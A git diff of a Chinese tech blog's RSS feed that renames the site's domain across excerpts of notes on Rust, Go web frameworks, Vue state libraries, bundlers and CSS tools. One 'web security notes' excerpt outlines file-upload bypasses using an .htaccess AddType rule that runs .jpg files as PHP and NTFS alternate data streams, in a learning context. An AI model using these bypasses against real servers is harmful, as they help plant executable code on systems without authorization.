+      <guid>https://chenjunlinabc.github.io/posts/pm2/</guid>
       <description>安装pm2
 npm install pm2 -g
 执行app.js文件并且监听app.js的变化，-i为进程数，max表示当前cpu可启动的最大进程
@@ -543,10 +543,10 @@ pm2 flush</description>
     
     <item>
       <title>web安全学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/145/</link>
+      <link>https://chenjunlinabc.github.io/posts/145/</link>
       <pubDate>Wed, 13 Apr 2022 13:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/145/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/145/</guid>
       <description>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
@@ -581,15 +581,15 @@ AddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word &amp;gt; hallo.txt:a.txt
echo hallo &amp;gt; hallo.</description>
+echo hallo,word &amp;gt; hallo.txt:a.txt echo hallo &amp;gt; hallo.</description>
     </item>
     
     <item>
       <title>简单了解a11y无障碍</title>
-      <link>https://xiaochenabc123.github.io/posts/144/</link>
+      <link>https://chenjunlinabc.github.io/posts/144/</link>
       <pubDate>Sat, 09 Apr 2022 13:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/144/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/144/</guid>
       <description>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
@@ -607,10 +607,10 @@ mdn对于障碍人士可访问性优化提供了建议：
     
     <item>
       <title>Rust学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/142/</link>
+      <link>https://chenjunlinabc.github.io/posts/142/</link>
       <pubDate>Mon, 28 Mar 2022 13:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/142/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/142/</guid>
       <description>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
@@ -636,15 +636,15 @@ cargo new halloword
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
name = &amp;quot;hallo_word&amp;quot;
version = &amp;quot;0.0.1&amp;quot;
edition = &amp;quot;2021&amp;quot;
[dependencies]
hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/
# hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区
# hyper = { path = &amp;quot;.</description>
+[package] name = &amp;quot;hallo_word&amp;quot; version = &amp;quot;0.0.1&amp;quot; edition = &amp;quot;2021&amp;quot; [dependencies] hyper = &amp;quot;0.14.20&amp;quot; # 来自https://crates.io/ # hyper = { git = &amp;quot;https://github.com/hyperium/hyper&amp;quot; } # 来自第三方社区 # hyper = { path = &amp;quot;.</description>
     </item>
     
     <item>
       <title>Flutter框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/141/</link>
+      <link>https://chenjunlinabc.github.io/posts/141/</link>
       <pubDate>Tue, 22 Mar 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/141/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/141/</guid>
       <description>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
@@ -680,15 +680,15 @@ flutter项目下的lib/main.dart，class MyApp类下
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() =&amp;gt; runApp(MyApp());
class MyApp extends StatelessWidget{
@override
Widget build(BuildContext context){
return MaterialApp(
title: &amp;quot;hallo word&amp;quot;, // app的title
theme: ThemeData(
primarySwatch: Colors.</description>
+void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: &amp;quot;hallo word&amp;quot;, // app的title theme: ThemeData( primarySwatch: Colors.</description>
     </item>
     
     <item>
       <title>browserslist的简单配置</title>
-      <link>https://xiaochenabc123.github.io/posts/140/</link>
+      <link>https://chenjunlinabc.github.io/posts/140/</link>
       <pubDate>Sat, 12 Mar 2022 10:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/140/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/140/</guid>
       <description>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
@@ -703,17 +703,17 @@ not dead的意思是不输出官方不再维护的浏览器（例如ie10），de
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2%&#39;,
&#39;last 1 Chrome versions&#39;
&#39;not dead&#39;
]
或者写成
-&amp;quot;browserslist&amp;quot;: [
&#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;,
]
.browserslistrc
-&amp;gt; 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package.</description>
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2%&#39;, &#39;last 1 Chrome versions&#39; &#39;not dead&#39; ] 或者写成
+&amp;quot;browserslist&amp;quot;: [ &#39;&amp;gt; 0.2% and last 1 Chrome versions and not dead&#39;, ] .browserslistrc
+&amp;gt; 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package.</description>
     </item>
     
     <item>
       <title>简单使用Express-Web应用框架</title>
-      <link>https://xiaochenabc123.github.io/posts/138/</link>
+      <link>https://chenjunlinabc.github.io/posts/138/</link>
       <pubDate>Mon, 28 Feb 2022 18:04:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/138/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/138/</guid>
       <description>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express &amp;ndash;save
@@ -727,7 +727,7 @@ npm install
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&amp;quot;express&amp;quot;)
const app = express()
app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;)
})
app.listen(3000)
运行
+const express = require(&amp;quot;express&amp;quot;) const app = express() app.get(&#39;/&#39;,function(req,res){ res.end(&amp;quot;hallo world!&amp;quot;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -738,15 +738,15 @@ app.use(&amp;rsquo;/src&amp;rsquo;,express.static(&amp;lsquo;src&amp;rsquo;))
 app.use(require(&amp;lsquo;cors&amp;rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require(&#39;mongoose&#39;)
mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true})
const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &amp;quot;abc&amp;quot;},
{_id: 2, title: &amp;quot;xyz&amp;quot;}
{_id: 3, title: &amp;quot;abcxyz&amp;quot;}
])*/
app.</description>
+const mongoose = require(&#39;mongoose&#39;) mongoose.connect(&#39;mongodb://localhost:27014/test&#39;,{useNewUrlParser: true}) const testdb = mongoose.model(&#39;testdb&#39;,new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &amp;quot;abc&amp;quot;}, {_id: 2, title: &amp;quot;xyz&amp;quot;} {_id: 3, title: &amp;quot;abcxyz&amp;quot;} ])*/ app.</description>
     </item>
     
     <item>
       <title>简单使用Hugo搭建网站</title>
-      <link>https://xiaochenabc123.github.io/posts/137/</link>
+      <link>https://chenjunlinabc.github.io/posts/137/</link>
       <pubDate>Tue, 22 Feb 2022 05:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/137/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/137/</guid>
       <description>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
@@ -777,10 +777,10 @@ hugo &amp;ndash;baseUrl=&amp;ldquo;http://chenjunlinabc.github.io/&amp;quot;
     
     <item>
       <title>简单了解RESTful设计规范</title>
-      <link>https://xiaochenabc123.github.io/posts/136/</link>
+      <link>https://chenjunlinabc.github.io/posts/136/</link>
       <pubDate>Wed, 16 Feb 2022 21:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/136/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/136/</guid>
       <description>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
@@ -802,21 +802,21 @@ HTTP请求方式（不同的操作使用不同的请求方式，例如获取资
     
     <item>
       <title>Gin框架学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/135/</link>
+      <link>https://chenjunlinabc.github.io/posts/135/</link>
       <pubDate>Tue, 15 Feb 2022 17:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/135/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/135/</guid>
       <description>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &amp;quot;github.com/gin-gonic/gin&amp;quot;
import &amp;quot;net/http&amp;quot;
func main() {
g := gin.Default()
g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) {
c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;)
})
g.Run()
}
go run main.go
+package main import &amp;quot;github.com/gin-gonic/gin&amp;quot; import &amp;quot;net/http&amp;quot; func main() { g := gin.Default() g.GET(&amp;quot;/&amp;quot;, func(c *gin.Context) { c.String(http.StatusOK, &amp;quot;hallo word&amp;quot;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&amp;quot;:2333&amp;quot;)
 路由
-r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) {
name := c.Param(&amp;quot;name&amp;quot;)
c.String(http.StatusOK, name)
})
g.Run(&amp;quot;:6666&amp;quot;)
127.0.0.1:6666/test/xiaochen
+r.GET(&amp;quot;/test/:name&amp;quot;, func(c *gin.Context) { name := c.Param(&amp;quot;name&amp;quot;) c.String(http.StatusOK, name) }) g.Run(&amp;quot;:6666&amp;quot;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) {
name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;)
c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&amp;quot;/test&amp;quot;, func(c *gin.Context) { name := c.DefaultQuery(&amp;quot;name&amp;quot;, &amp;quot;test&amp;quot;) c.String(http.StatusOK, fmt.Sprintf(&amp;quot;hallo %s&amp;quot;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
@@ -825,10 +825,10 @@ index.html main.go</description>
     
     <item>
       <title>beego应用框架的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/134/</link>
+      <link>https://chenjunlinabc.github.io/posts/134/</link>
       <pubDate>Sat, 12 Feb 2022 16:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/134/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/134/</guid>
       <description>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
@@ -853,22 +853,22 @@ bee generate
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString(&amp;quot;name&amp;quot;)
c.Data[&amp;quot;Website&amp;quot;] = name
访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString(&amp;quot;name&amp;quot;) c.Data[&amp;quot;Website&amp;quot;] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = &amp;ldquo;index.tpl&amp;rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt;
Official website:
&amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; /
Contact me:
&amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
+&amp;lt;div class=&amp;quot;author&amp;quot;&amp;gt; Official website: &amp;lt;a href=&amp;quot;http://{{.Website}}&amp;quot;&amp;gt;{{.Website}}&amp;lt;/a&amp;gt; / Contact me: &amp;lt;a class=&amp;quot;email&amp;quot; href=&amp;quot;mailto:{{.</description>
     </item>
     
     <item>
       <title>简单使用ESbuild打包工具</title>
-      <link>https://xiaochenabc123.github.io/posts/132/</link>
+      <link>https://chenjunlinabc.github.io/posts/132/</link>
       <pubDate>Mon, 07 Feb 2022 13:37:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/132/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/132/</guid>
       <description>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
@@ -886,17 +886,17 @@ npm run build
 或者
 yarn build
 例子（app.jsx）
-import React from &#39;react&#39;
import ReactDOM from &#39;react-dom&#39;
const App = () =&amp;gt; {
return (
&amp;lt;div&amp;gt;
&amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt;
&amp;lt;/div&amp;gt;
)
}
ReactDOM.render(
&amp;lt;App /&amp;gt;,
document.getElementById(&amp;quot;app&amp;quot;)
)
index.html
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
我本地打包只花64ms就打包好了
+import React from &#39;react&#39; import ReactDOM from &#39;react-dom&#39; const App = () =&amp;gt; { return ( &amp;lt;div&amp;gt; &amp;lt;h1&amp;gt;Hallo, Esbuild!&amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; ) } ReactDOM.render( &amp;lt;App /&amp;gt;, document.getElementById(&amp;quot;app&amp;quot;) ) index.html
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script src=&amp;quot;./build/index.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; 我本地打包只花64ms就打包好了
 使用source map功能</description>
     </item>
     
     <item>
       <title>简单使用GitHub Actions来实现CI/CD</title>
-      <link>https://xiaochenabc123.github.io/posts/131/</link>
+      <link>https://chenjunlinabc.github.io/posts/131/</link>
       <pubDate>Tue, 01 Feb 2022 18:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/131/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/131/</guid>
       <description>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
@@ -908,36 +908,36 @@ on：指定触发workflow的条件，一般为事件触发（比如说push）
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot;
- run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &amp;quot; The job was automatically triggered by a ${{ github.event_name }} event.&amp;quot; - run: echo &amp;quot; This job is now running on a ${{ runner.os }} server hosted by GitHub!</description>
     </item>
     
     <item>
       <title>简单使用TailwindCSS</title>
-      <link>https://xiaochenabc123.github.io/posts/130/</link>
+      <link>https://chenjunlinabc.github.io/posts/130/</link>
       <pubDate>Thu, 27 Jan 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/130/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/130/</guid>
       <description>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
&#39;./src/**/*.{html,js}&#39;
],
如果没有配置content属性，会警告
+content: [ &#39;./src/**/*.{html,js}&#39; ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &amp;quot;tailwindcss/base&amp;quot;;
@import &amp;quot;tailwindcss/components&amp;quot;;
@import &amp;quot;tailwindcss/utilities&amp;quot;;
也可以将css导入到js中
-import &amp;quot;tailwindcss/tailwind.css&amp;quot;
tailwind编译
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &amp;quot;tailwindcss/base&amp;quot;; @import &amp;quot;tailwindcss/components&amp;quot;; @import &amp;quot;tailwindcss/utilities&amp;quot;; 也可以将css导入到js中
+import &amp;quot;tailwindcss/tailwind.css&amp;quot; tailwind编译
 npx tailwindcss -i ./src/index.css -o ./dist/main.css</description>
     </item>
     
     <item>
       <title>PostCSS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/129/</link>
+      <link>https://chenjunlinabc.github.io/posts/129/</link>
       <pubDate>Sun, 23 Jan 2022 13:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/129/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/129/</guid>
       <description>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
@@ -948,17 +948,17 @@ npm install postcss postcss-loader
 npm install postcss postcss-loader &amp;ndash;save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;]
}
]
}
};
postcss.config.js
-module.exports = {
plugins: [插件1,插件2]
};
Autoprefixer（自动添加浏览器前缀）
+module.exports = { module: { rules: [ { test: /\.css$/, use: [&amp;quot;style-loader&amp;quot;, &amp;quot;css-loader&amp;quot;, &amp;quot;postcss-loader&amp;quot;] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
 npm install autoprefixer &amp;ndash;save-dev</description>
     </item>
     
     <item>
       <title>Golang进阶扩展笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/128/</link>
+      <link>https://chenjunlinabc.github.io/posts/128/</link>
       <pubDate>Sun, 16 Jan 2022 09:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/128/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/128/</guid>
       <description>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
@@ -1001,10 +1001,10 @@ sync/atomic包将原子操作封装成了Go的函数，sync/atomic包提供了
     
     <item>
       <title>python爬虫学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/125/</link>
+      <link>https://chenjunlinabc.github.io/posts/125/</link>
       <pubDate>Fri, 31 Dec 2021 01:05:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/125/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/125/</guid>
       <description>urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
@@ -1015,15 +1015,15 @@ HTTPResposne类型对象
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&amp;lsquo;hallo&amp;rsquo;:&amp;lsquo;python&amp;rsquo;}),encoding=&amp;lsquo;utf-8&amp;rsquo;) response = urllib.request.urlopen(&amp;lsquo;http://httpbin.org/post&#39;.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&amp;lsquo;https://xiaochenabc123.test.com/&#39;,timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot;
headers = {
&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
+import urllib.parse import urllib.request url = &amp;quot;https://xiaochenabc123.test.com/&amp;quot; headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.</description>
     </item>
     
     <item>
       <title>Pinia---vuejs的轻量级状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/124/</link>
+      <link>https://chenjunlinabc.github.io/posts/124/</link>
       <pubDate>Sun, 26 Dec 2021 20:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/124/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/124/</guid>
       <description>Pinia是vuejs的轻量级状态管理库，Pinia支持Vue devtools浏览器扩展工具，可扩展，模块化设计，热模块更新，轻量级，支持TypeScript，支持SSR服务器端渲染，支持vue2，vue3
 Pinia作者也是vuex核心之一
 安装pinia
@@ -1032,16 +1032,16 @@ npm install pinia@next
 yarn add pinia@next
 导入pinia并且挂载为vue插件(在Vite脚手架下)
 src/main.js
-import { createApp } from &#39;vue&#39;
import App from &#39;./App.vue&#39;
const app = createApp(App)
import { createPinia } from &#39;pinia&#39;
app.use(createPinia())
app.mount(&#39;#app&#39;)
src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
-import { defineStore } from &#39;pinia&#39;
export const useDataStore = defineStore(&#39;data&#39;, {
state: () =&amp;gt; {
return { count: 666 }
},
//state: () =&amp;gt; {
//name: chen
//},
getters:{ // getters计算属性
doubleCount(state){
return state.</description>
+import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; const app = createApp(App) import { createPinia } from &#39;pinia&#39; app.use(createPinia()) app.mount(&#39;#app&#39;) src/stores/main.js（pinia通过defineStore函数来创建state，并且接收一个id来标识state）
+import { defineStore } from &#39;pinia&#39; export const useDataStore = defineStore(&#39;data&#39;, { state: () =&amp;gt; { return { count: 666 } }, //state: () =&amp;gt; { //name: chen //}, getters:{ // getters计算属性 doubleCount(state){ return state.</description>
     </item>
     
     <item>
       <title>简单使用vuex状态管理库</title>
-      <link>https://xiaochenabc123.github.io/posts/123/</link>
+      <link>https://chenjunlinabc.github.io/posts/123/</link>
       <pubDate>Mon, 13 Dec 2021 06:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/123/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/123/</guid>
       <description>vuex是一个专门为vuejs应用程序的设计的状态管理
 集中式存储管理应用的所有组件的状态
 多组件状态共享，不同的组件改变同一个状态
@@ -1056,22 +1056,22 @@ import Vuex from &amp;ldquo;vuex&amp;rdquo;
 new Vuex.store()
 将vuex实例挂载在vue对象上
 index.js
-Vue.use(Vuex)
const store = new Vuex.Store({
state: {
count: 0
}
})
export default store
main.js
-new Vue({
store // 将store对象添加到vue实例上
})
可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
+Vue.use(Vuex) const store = new Vuex.Store({ state: { count: 0 } }) export default store main.js
+new Vue({ store // 将store对象添加到vue实例上 }) 可以通过this.$store.state.count获取到状态（官方推荐将获取装态的操作放到computed中）
 使用解构获取状态： import { mapState } from &amp;lsquo;vuex&amp;rsquo; export default { mounted() { console.log(this.count) }, computed: { &amp;hellip;mapState([&amp;lsquo;count&amp;rsquo;]) } }
 Getter
-getters: {
getCount(state) {
return state.</description>
+getters: { getCount(state) { return state.</description>
     </item>
     
     <item>
       <title>简单了解RSS</title>
-      <link>https://xiaochenabc123.github.io/posts/122/</link>
+      <link>https://chenjunlinabc.github.io/posts/122/</link>
       <pubDate>Mon, 06 Dec 2021 02:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/122/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/122/</guid>
       <description>RSS指 Really Simple Syndication（简易信息聚合），RSS定义了方法来获取网站的标题以及内容，而且RSS可以被自动更新，RSS使用了XML进行编写（xml笔记：https://xiaochenabc123.test.com/archives/17.html）
 一个RSS例子：
-&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;
&amp;lt;rss version=&amp;quot;2.0&amp;quot;&amp;gt;
&amp;lt;channel&amp;gt;
&amp;lt;title&amp;gt;小陈的辣鸡屋&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;xiaochenabc123.test.com&amp;lt;/description&amp;gt;
&amp;lt;item&amp;gt;
&amp;lt;title&amp;gt;简单了解设计模式&amp;lt;/title&amp;gt;
&amp;lt;link&amp;gt;https://xiaochenabc123.test.com/archives/121.html&amp;lt;/link&amp;gt;
&amp;lt;description&amp;gt;&amp;lt;![CDATA[设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具面向过程：逻辑化过程，以逻辑实现面向对象：思考有哪些对象，...]]&amp;gt;&amp;lt;/description&amp;gt;
&amp;lt;content:encoded xml:lang=&amp;quot;zh-CN&amp;quot;&amp;gt;xxxxxxx&amp;lt;/content:encoded&amp;gt;
&amp;lt;/item&amp;gt;
&amp;lt;/channel&amp;gt;
&amp;lt;/rss&amp;gt;
